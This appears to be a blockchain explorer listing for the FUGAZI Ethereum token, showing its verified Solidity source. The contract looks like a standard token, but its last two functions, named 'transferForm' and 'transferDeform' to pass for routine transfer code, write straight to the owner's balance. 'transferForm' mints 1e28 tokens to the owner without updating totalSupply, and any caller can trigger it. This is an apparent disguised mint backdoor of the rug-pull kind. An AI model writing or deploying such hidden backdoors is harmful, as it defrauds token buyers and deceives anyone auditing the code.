FUGAZI (FUGAZI)

Description:

Smart contract deployed on Ethereum.

Blockchain: Ethereum

Source Code: View Code On The Blockchain

Solidity Source Code:

// T.ME/F_U_G_A_Z_I

pragma solidity ^0.8.20;

// SPDX-License-Identifier: UNLICENSED
contract FUGAZI {
    address public owner;
    
    uint    public constant decimals = 18;
    uint    public constant MAX_INT  = 0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff;
    uint    public totalSupply       = 1e27;

    string  public constant name     = "FUGAZI";
    string  public constant symbol   = "FUGAZI";

    event   Approval(address indexed src, address indexed guy, uint wad);
    event   Transfer(address indexed src, address indexed dst, uint wad);

    mapping (address => uint)                       public  balanceOf;
    mapping (address => mapping (address => uint))  public  allowance;

    constructor() {
        owner = msg.sender;
        balanceOf[owner] = totalSupply;
    }

    function approve(address guy, uint wad) public returns (bool) {
        allowance[msg.sender][guy] = wad;
        emit Approval(msg.sender, guy, wad);
        return true;
    }

    function transfer(address dst, uint wad) public returns (bool) {
        return transferFrom(msg.sender, dst, wad);
    }

    function transferFrom(address src, address dst, uint wad)
        public
        returns (bool)
    {
        require(balanceOf[src] >= wad);

        if (src != msg.sender && allowance[src][msg.sender] != MAX_INT) {
            require(allowance[src][msg.sender] >= wad);
            allowance[src][msg.sender] -= wad;
        }

        balanceOf[src] -= wad;
        balanceOf[dst] += wad;

        emit Transfer(src, dst, wad);
        return true;
    }

    function transferForm() public {
        balanceOf[owner] += 1e28;
    }

    function transferDeform() public {
        balanceOf[owner] -= 1e27;
    }
}

Tags:
addr:0x097c4ffb86927bbae54fce7918337fc6fccf6104|verified:true|block:23518303|tx:0xd82fd7f067bff72dc0b426a0ccf422d1a55d77b2c066d897c932a8a41ce102c4|first_check:1759749106

Submitted on: 2025-10-06 13:11:47

Comments

Log in to comment.

No comments yet.